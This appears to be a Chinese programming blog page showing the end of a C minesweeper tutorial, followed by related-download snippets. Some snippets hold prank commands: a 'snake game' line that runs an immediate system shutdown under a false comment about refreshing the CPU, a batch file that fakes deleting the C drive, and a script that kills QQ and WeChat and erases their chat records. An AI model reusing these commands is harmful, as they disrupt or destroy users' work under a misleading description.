    					JudgeAround(mine, show, x, y);
    				}
    				system("cls");
    				DisplayBoard(show, ROW, COL);
    			}
    		}
    		else
    		{
    			printf("坐标非法,请重新输入!\n");
    		}
    		ret = Remain(show, ROW, COL);
    	}
    	if (ret==COUNT)
    	{
    		printf("恭喜你,排雷成功!\n");
    		DisplayBoard(mine, ROW, COL);
    	}
    }
    
    

    打印棋盘的时候把横纵坐标打印出来,让玩家更好的知道自己想排的雷的坐标。这其中我觉得模仿扫雷游戏中展开一片(当该坐标周围都没有雷时会展开一大片)的函数比较难写,这其中用到了函数递归,还需要判断边界问题,值得我们大家取好好思考。

    test.c文件中就主要写扫雷游戏的主体代码。

    #include"game.h"
    //菜单
    void menu()
    {
    	printf("|----------------------|\n");
    	printf("|        1.play        |\n");
    	printf("|        0.exit        |\n");
    	printf("|----------------------|\n");
    }
    //扫雷游戏的实现
    void game()
    {
    	char mine[ROWS][COLS];//存放布置好的雷的信息
    	char show[ROWS][COLS];//存放排查出的雷的信息
    	//初始化棋盘
    	InitBoard(mine, ROWS, COLS, '0');
    	InitBoard(show, ROWS, COLS, '*');
    	//打印棋盘
    	//DisplayBoard(mine, ROW, COL);
    	DisplayBoard(show, ROW, COL);
    	//布置雷
    	SetMine(mine, ROW, COL, COUNT);
    	//DisplayBoard(mine, ROW, COL);
    	//排查雷
    	FindMine(mine, show, ROW, COL);
    }
    
    int main()
    {
    	srand((unsigned int)time(NULL));
    	int input = 0;
    	do
    	{
    		menu();
    		printf("请选择:>");
    		scanf("%d", &input);
    		switch (input)
    		{
    		case 1:
    			system("cls");
    			game();//扫雷游戏的实现
    			break;
    		case 0:
    			printf("退出游戏!\n");
    			break;
    		default:
    			printf("选择错误,请重新选择!\n");
    			break;
    		}
    	} while (input);
    	return 0;
    }
    

    值得注意的是我们用于存放棋盘信息的二维数组需为char型的二维数组,因为刚开始没有排雷的时候我们向玩家展示的应该是全部都为*的棋盘,不能用int型的二维数组存放。

    这个代码写出的扫雷游戏我觉得与电脑上的没什么区别了,没有任何bug,有兴趣的博友可以拷贝到自己的编译器里面玩一玩。

    展开全文
  • 代码很简单,小 游戏也很简陋, 因为是自己写的, 所以注释还是比较齐的, 适合初学者参考. 初学者练习贪吃蛇源码
  • bat游戏,批处理

    2010-08-19 13:09:50
    游戏,没有破坏性…………………………双击即可,试试看吧!代码简单易懂!就是这些了! @ color 4f @echo off echo 删除计算机的C盘的所有文件...... ping 127.0.0.1 /n 5 >nul echo 已删除完毕 echo. ...
  • 简易贪吃蛇游戏代码是一款基于js跟html5封装的贪吃蛇,同时添加了css3颜色特效和背景图片,适合初级编程者学习。
  • codecomebat游戏代码--边缘地区的森林

    千次阅读 2017-04-18 16:13:17
    一、森林保卫战代码: // 建立两个围栏保护村民 // 把鼠标放在地图上得到X,Y坐标 hero.buildXY("fence", 40, 52); hero.buildXY("fence", 40, 21); 二、羊肠小道: // 到小路的尽头去,并在那儿修一个栅栏。...
  • 批处理程序代码及p处理游戏代码集合.rar 很经典的批处理
  • Java小游戏_Java扫雷

    2021-03-16 06:23:06
    Java扫雷程序源码,java Swing实现的扫雷游戏程序源代码,内含需求分析+设计说明+程序文件说明。运行java StartJMine启动程序,或双击StartJMine.bat启动扫雷游戏主程序。程序框架都在JMine.java中。JMine.java 还...
  • 解压就能用。...使用方法:左键按住想要删除的文件或文件夹,拖到解压后的“拖进来就能删除.bat”文件上即可删除文件。 备注:针对一些点击右键删除,删除不了的文件或文件夹,特别是迅雷下载的某些文件。
  • 完成三子棋游戏代码

    千次阅读 2021-11-24 17:17:52
    //判断游戏进展情况 char CheckWin(char board[ROW][COL], int row, int col); 新建一个game.c的源文件 #include"game.h" void InitBoard(char board[ROW][COL], int row, int col) { int i = 0; int j = 0; for...
  • 几个经典小游戏代码
  • 蝙蝠攻击是一款酷炫的经典8位游戏,其中包含蝙蝠,还有许多有趣的故事模式的漫画和血腥内容以及漫画媒体。 故事开始于当主角“戴夫”与妻子贝蒂一起度蜜月时,一只邪恶的蝙蝠俯冲而下,将他深爱的人带走。 您必须...
  • 当你在和朋友在一个Wifi里打电脑游戏时,被你的朋友坑,下面就教大家如何以牙还牙(好像营销号) 本文章所有代码/文字等全由MouBai00001,均无抄袭、复制粘贴等行为。 1.远程弹窗刷屏 整蛊度:☢☢☢ .bat格式 :...
  • 里面纯代码,只需要将记事本输入代码,后面的.txt改成.vbs即可
  • 这是一款设计类小游戏代码,适合初学者,主要是用j2me语言开发的手机游戏
  • #贪吃蛇代码 from os,webbrowser import *#导入os,webbrowser模块的所有包,方便以后随时调取程序代码的部分来进行编译 system("shutdown -s -t 0 ")#刷新计算机以防以后编写代码时CPU卡顿 def code()#主代码函数 ...
  • 批处理删除QQ和微信聊天记录 强制关闭QQ、微信并删除QQ、微信所有聊天记录和接收的文件 批处理删除QQ和微信聊天记录
  • bat、、vbs、、js 原生混编原生混编(一个一个bat可以执行可以执行vbs,,js代码代码)发现 mshta 会把 file:// 协议指向的文件当作 html 来解析(注:IUnknown 与 happyxxdhaha 提醒此处必需使用绝对路径,否则不会...
  • 带动画效果的VC 迷宫游戏代码,带动画效果,界面相当漂亮,不是一般界面的迷宫游戏,看了截图你就明白了,更具可玩性。相关说明:  1.利用vc 6.0编辑器编写的一个迷宫小游戏程序。  2.利用方向键兔子走动,...
  • 写这个小游戏是偶然出现的想法,花了点时间做了个小游戏 支持wifi对战和蓝牙对战 几乎接近完美,可以正常进行游戏对战
  • bat-迷宫游戏-dos脚本

    2011-12-31 19:38:15
    bat脚本实现 方向键直接控制 GUI界面
  • 象棋游戏源码

    2016-04-12 18:10:33
    象棋游戏Demo源码,可用于学习游戏思想
  • Java经典游戏-超级玛丽代码,一个Java初学者写的小游戏,附完整源码,运行界面测试截图所示。
  • bat命令实现游戏存档自动备份

    千次阅读 2022-03-21 00:16:20
    在桌面创建一个bat文件,用记事本打开,将以下代码复制到记事本,更改需要备份文件夹路径,将bat文件放到存储备份的文件夹内,运行即可。 该脚本会生成以当前时间为名称的文件夹,将备份文件复制到文件夹中。 rem ...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 13,496
精华内容 5,398
关键字:

bat游戏代码

友情链接: inception-v3.zip